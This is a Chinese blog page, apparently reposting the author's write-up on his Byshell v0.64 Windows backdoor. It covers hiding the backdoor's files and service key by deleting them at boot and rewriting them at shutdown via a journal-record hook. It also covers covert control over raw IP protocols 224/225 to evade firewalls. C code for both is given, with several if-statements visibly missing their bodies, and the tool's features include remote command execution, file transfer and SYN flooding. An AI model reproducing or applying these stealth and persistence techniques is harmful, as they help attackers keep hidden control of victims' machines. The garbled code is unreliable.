无进程无DLL无硬盘文件

无进程无启动项无硬盘文件运行程序的研究 立即下载
 下一个问题是启动项和文件。Ntboot.exe是后门的注射器,将自己作为 服务启动,我们决不能让管理员发现 服务键值。怎么办?这个也是农民前辈提出的思想:先删除所有后门文件和 服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写入文件和 服务项。同样的,一开机这个 服务只要启动了就会先把自己删除。这样就实现了无文件和无启动项。管理员用注册表对比将不能发现异常,也无处寻找我们的后门文件。看一下设定一个关机通知和一个一键关机钩子的代码:

DWORD WINAPI hookthread( LPVOID lpParam ){
MSG msg;int tmpret;char tmpstr[100];
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
if(!msghook)
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1);
if(!tmpret)
while (GetMessage(&msg, NULL, 0, 0)){void resume();
if(msg.message==WM_QUERYENDSESSION)
}
UnhookWindowsHookEx(msghook);
return 0;
}

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
switch(dwCtrlType)
{
case CTRL_SHUTDOWN_EVENT:
resume();//resume函数,顾名思义就是恢复文件启动项
break;
default:
break;
}
return 0;
}

LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
 EVENTMSG * pevent=(EVENTMSG *)lParam;
 if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF)
}
return CallNextHookEx(msghook,code,wParam,lParam);
}

    与Hxdef的Hook文件注册表的Native API相比,这种办法的好处是根本就不存在文件,也不会有什么Ring0的Rootkit Detector发现被Hook API隐藏的文件和注册表项。坏处是如果对方直接拔电源关机我们就“安息”了。于是我们就会安慰自己说:这个后门有足够的隐蔽性,不会让对方怀疑到中了后门,以至于采用掉电关机的BT手段。当然如果你用Hxdef,那么相信我,现在的Rootkit Detector很普遍,Hxdef已经成为众矢之的了,在管理员检查时也会“安息”得很快的。
    最后是怎样实现无端口(像用Rootkit隐藏掉端口那种不叫无端口。那种东西不但无法穿过防火墙还会在管理员扫描自己的机器时暴露),这是Byshell v0.64的弱项,Ring3后门本来难有什么好办法来进行端口复用,使用Raw_socket监听TCP只能做到Bits.dll那样的“等待连接时无端口”;把自己加载成SPI基础服务提供者或者分层服务提供者,可以截获所有Ring3网络通讯,但会在注册表和系统中留下足够多的信息从而导致我们后门“安息”。Hxdef的Hook系统中所有进程的Recv/WSArecv方法虽然有不能复用Ring0端口如139,445的弊端,但还是现在看来比较好的Ring3端口复用的办法。到现在为止,Byshell采取的方法是使用Socket_raw的自定义协议,就是非TCP非UDP协议进行通讯,可以穿越大多软件防火墙和一些硬件防火墙,但是它的弊端是不保证穿过所有防火墙,并且不支持Windows XP SP2,因为后者取消了对Socket_raw的支持。我的实现比较简单,就是用一个协议号224监听连接和刷新,另一个协议号225传输后门数据,很简单:
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2),&WSAData);
SOCKET sock224=socket(AF_INET,SOCK_RAW,224);
sockaddr_in srvaddr;
memset(&srvaddr,0,sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY;
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));
if(ret){goto label2;}
dwThreadId=0;char buff224[128];
DWORD WINAPI threadfunc( LPVOID lpParam );
HANDLE thrdhndl;
//建立225的连接线程
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId);
//等待刷新
while(1){recvfrom(sock224,buff224,128,0,0,0);
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$#@!~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){
 TerminateThread(thrdhndl,0);goto label1;}
}
    在225的代码里我实现了简单的差错控制,代码比较长这里不列举了,有兴趣的朋友请看源代码。由于这个复用方法不是非常可靠、稳定,所以我公布了Byshell v0.63,它直接开了一个TCP端口138,完全不符合后门要求,但是给大家用来作测试还是可以的。如果大家发现Byshell v0.64不是很稳定可以试试v0.63。不过一个严重的失误是我在Byshell v0.64的说明书里漏了一个命令“refresh”,它可以清除万一出现的225连接死掉,并且给你机会重新连接。
    最后就是Byshell实现了非常多的命令,比如查看系统信息、执行命令、在后门连接中上传下载,甚至还有SYN洪水攻击。后门的功能模块是Work()函数,这样便于进行功能拓展和模块化编程。针对它端口复用不理想的现状,我会继续升级。以后可能写成Hxdef那样的Ring3复用,也可能是Ring0的过滤驱动之类的东西,也希望前辈们继续指导我。
我的代码风格并不好,喜欢不分行和紧凑代码,不过还是希望大家一起来开发这个软件。在这个后门的写作中,3个人给了我很大的帮助,请允许我占用篇幅来表示对他们的感谢。他们是谷夕(gxisone),黄鑫(glacier),当然还有农民,这个后门应该是他们的功劳。

基于深度学习的番茄成熟度检测系统——YOLOv5、YOLOv8、YOLOv10及UI界面的实现 YOLO是一种快速且准确的目标检测模型,近年来,YOLOv5、YOLOv8和YOLOv10作为YOLO系列的重要版本,分别在速度、精度和效率上进行了优化。下面我们简要介绍这些模型。本文介绍了如何基于YOLOv5、YOLOv8和YOLOv10等深度学习模型,结合PyQt5设计一个番茄成熟度检测系统。通过训练模型、优化算法和设计用户友好的界面,我们能够构建一个高效且准确的番茄成熟度检测系统,广泛应用于农业自动化和智能化管理中。 阅读详情

相关推荐

手把手教你用CANopen SDO报文控制步进电机(附CIA402协议详解)

本文详细解析了如何通过CANopen SDO报文控制步进电机,深入讲解CIA402协议的核心架构、状态机模型及对象字典管理,并提供实战代码示例。从SDO报文构造到多轴同步控制,帮助开发者掌握工业级步进电机的精确控制技术,适用于自动化设备开发。

weixin_33737774的博客 487

Byshell:无进程无DLL无硬盘文件无启动项

怎样隐藏自身的进程?一个普遍采用的方法就是远程线程注射。但它最大的问题是注射代码到了远程进程的地址空间后,由于地址空间的变化,依赖于原来地址空间的所有直接寻址指令需要重定位。这点对汇编老手来手是很容易理解的,对高级语言程序编写者来说这意味着所有显式和非显式的全局变量(如API地址和字符串)都需要进行手工重定位。 相比于病毒程序,我们很幸福,因为我们的的注射器可以同时向远程进程注射一个“全局变量...

weixin_30381317的博客 221

量子计算入门指南:密度算符的核心概念与应用解析

本文深入解析了量子计算中密度算符的核心概念与应用。作为描述量子系统“状态的状态”的关键数学工具,密度算符能有效处理混合态与子系统描述,是理解量子噪声、量子纠错和开放系统演化的基石。文章通过对比纯态与混合态,阐释了密度矩阵的数学定义与物理意义,并结合代码示例演示了其在实际量子计算问题中的强大威力。

day7的博客 470

无dll无进程木马

#include//#include#include #include #pragma comment(lib,"Shlwapi.lib")//参数结构 ; typedef struct _RemotePara{    DWORD dwLoadLibrary;   DWORD dwFreeLibrary;   DWORD dwGetProcAddress;   DWORD dwGetModuleH

1200

【抖音滑动验证码风控分析】

文章摘要:通过对比正常响应与验证码风控响应的头部信息,发现两者存在显著差异。正常响应返回JSON格式数据(Content-Type: application/json)并采用分块传输(Transfer-Encoding: chunked),而风控响应仅返回空文本(Content-Type: text/plain,Content-Length: 0),并通过X-Vc-Bdturing-Parameters等特殊头字段传递风控信息。这些差异主要体现在内容类型、数据传输方式和风控标识参数上,为风控识别提供了关键特

qq_44990881的博客 1104

GitHub与GitLab中的Fork操作:从个人仓库到团队协作的完整指南

本文详细介绍了GitHub与GitLab中的Fork操作,从个人仓库到团队协作的完整指南。通过Fork操作,开发者可以在权限隔离的环境下自由实验,并通过合并请求机制保证代码质量。文章涵盖了Fork的具体步骤、本地开发环境配置、代码同步方法以及高级协作技巧,帮助团队高效管理代码仓库。

weixin_28829325的博客 306

内核注入

<br />内核注入,技术古老但很实用。现在部分RK趋向无进程,玩的是SYS+DLL,有的无文件,全部存在于内存中。可能有部分人会说:“都进内核了.什么不能 干?”。是啊,要是内核中可以做包括R3上所有能做的事,软件开发商们也没必要做应用程序了。有时,我们确实需要R3程序去干驱动做起来很困难或者没必要 驱动中去做的事,进程 / DLL是不错的选择,但进程目标太大,所以更多的同学趋向于注DLL。<br /><br /> 若要开发安全软件、小型工具,可借鉴其思路,Anti Rootkits时

wowbell的专栏 1643

从示波器波形看懂CAN/RS485/RS422:一个TVS管放错位置,通信全挂的教训

本文通过示波器波形分析,深入探讨了CAN/RS485/RS422通信系统中TVS管布局错误的故障诊断与解决方案。文章详细解析了错误布局导致的波形特征,如信号钳位、阻抗失配等,并提供了正确的保护电路设计方案和终端匹配技术,帮助工程师快速定位和解决通信故障。

weixin_30555515的博客 347

vc++实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序

客户端 #include #include #include #pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长度unsigned int version:4; //IP版本号,4表示I

尹成的技术博客 1万+

LDA主题模型简介及Python实现

一、LDA主题模型简介 LDA主题模型主要用于推测文档的主题分布,可以将文档集中每篇文档的主题以概率分布的形式给出根据主题进行主题聚类或文本分类。 LDA主题模型不关心文档中单词的顺序,通常使用词袋特征(bag-of-word feature)来代表文档。词袋模型介绍可以参考这篇文章:文本向量化表示——词袋模型 - 知乎 了解LDA模型,我们需要先了解LDA的生成模型,LDA认为一篇文章是怎么形成的呢? LDA模型认为主题可以由一个词汇...

weixin_41168304的博客 20万+

GD32模拟IIC读写DVC1124

GD32模拟IIC读写集澈AFE芯片DVC1124

ponyma_的博客 1227

无进程无DLL无硬盘文件无启动项木马思路(转载)

现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少,大多数新手们还在使用Radmin一类的软件来替代后门程序。不幸的是,它们并不是一个真正的后门,极容易服务器管理员察觉,因此肉鸡经常飞掉也就很正常了。  一个合格的后门至少应该做到不能有陌生进程存在于任务管理器里,给后门进程起一个看起来像系统进程的名字只是掩耳盗铃;不能在注册表Run启动项或者服务启动项里留下众所周知的启动键值或新

blackbean的专栏 1275

华为OD机试真题 新系统2026-04-08 Python&JS 实现【直捣黄龙】

小王在玩一款叫做直捣黄龙的小游戏,在该游戏中他需要从入口位置进入敌营,绕过哨兵的层层封锁,达到敌军司令部实施斩首行动。 敌军阵营是一个n*n的矩阵,入口在坐标(0,n/2),敌军司令部在坐标(n-1,n/2),每个哨兵警戒以自己为中心的9宫格,一旦被哨兵发现则行动失败。

MISAYAONE的博客 592

vc 实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序

vc 实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序

fdgugfv的博客 322

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

一段不错的DLL自删除代码

 #include #include HMODULE hDll;extern "C" __declspec(dllexport) void DeleteMe(){    //在这里干其它想干的事,如删除其它exe文件    //下面代码实现DLL自删除    TCHAR* szDll = (TCHAR*)VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE

雪之梦的专栏 1148

从内存中加载DLL

<br /> 程序使用动态库DLL一般分为隐式加载和显式加载两种,分别对应两种链接情况。本文主要讨论显式加载的技术问题。我们知道,要显式加载一个DLL,并取得其中导出的函数地址一般是通过如下步骤:<br /> (1) 用LoadLibrary加载dll文件,获得该dll的模块句柄;<br /> (2) 定义一个函数指针类型,并声明一个变量;<br /> (3) 用GetProcAddress取得该dll中目标函数的地址,赋值给函数指针变量;<br /> (4) 调用函数指针变量。<br /><

东方匠心的专栏 1107

又发现norton未知病毒!

不知道上了什么网后,突然就发现硬盘狂转, 检查了一下关键部位和内存,发现在C:/Documents and Settings/Administrator/Local Settings/Temp目录下有 foxrar.exe , m.dll , packet.dll , wanpacket.dll之类的文件,想删除,删不了,先用任务管理器把foxrar.exe终止了,然后把这些文件删

支持开源,支持java,支持Linux 1947

【CSAPP】现代操作系统前几章

有的面向java—智能卡上有rom 里面有JVM,上面的java程序来操作。进程表是数组(或者链表)结构 当前存在的进程都要占一项。BIOS-----硬盘第一个扇区----都从跟开始走–所以要挂载 mount。中 然后把他 PCB 调到其他队列。PCB —进程如果被挂起,咱就把。rwx位 rexr–r–

20岁爱吃必胜客 258

全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件

1.   进程地址空间 2.      内存状态查询函数 3.     内存管理机制--虚拟内存 (VM) 4.      内存管理机制--内存映射文件 (Map)     和虚拟内存一样,内存映射文件可以用来保留一个进程地址区域;但是,与虚拟内存不同,它提交的不是物理内存或是虚拟页文件,而是硬盘上的文件。 ·        使用场合 它有三个主要用途: 系统加载EX

570

猕猴桃小水管教程

系统要求 WIN系统的基本都没问题(常用的有WIN7 WIN10) 网络要求 网络这块要求比较低,基本都是可以跑的,最好的还是公网IP相对稳定。 磁盘要求 推荐使用SSD固态盘效果明显。跑满上行不是问题 使用240G SSD固态可以开一个进程IO读写好的普遍都能跑100M以上; 使用机械盘500G开一个进程差不多可以跑20M左右,机械盘普遍都只能开2个进程,超过1T的机械盘建议分2...

坑哥的技术记录本 8000
上一篇: 编写QQ显IP外挂插件及原理分析
下一篇: Internet 另一超级漏洞被公布
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值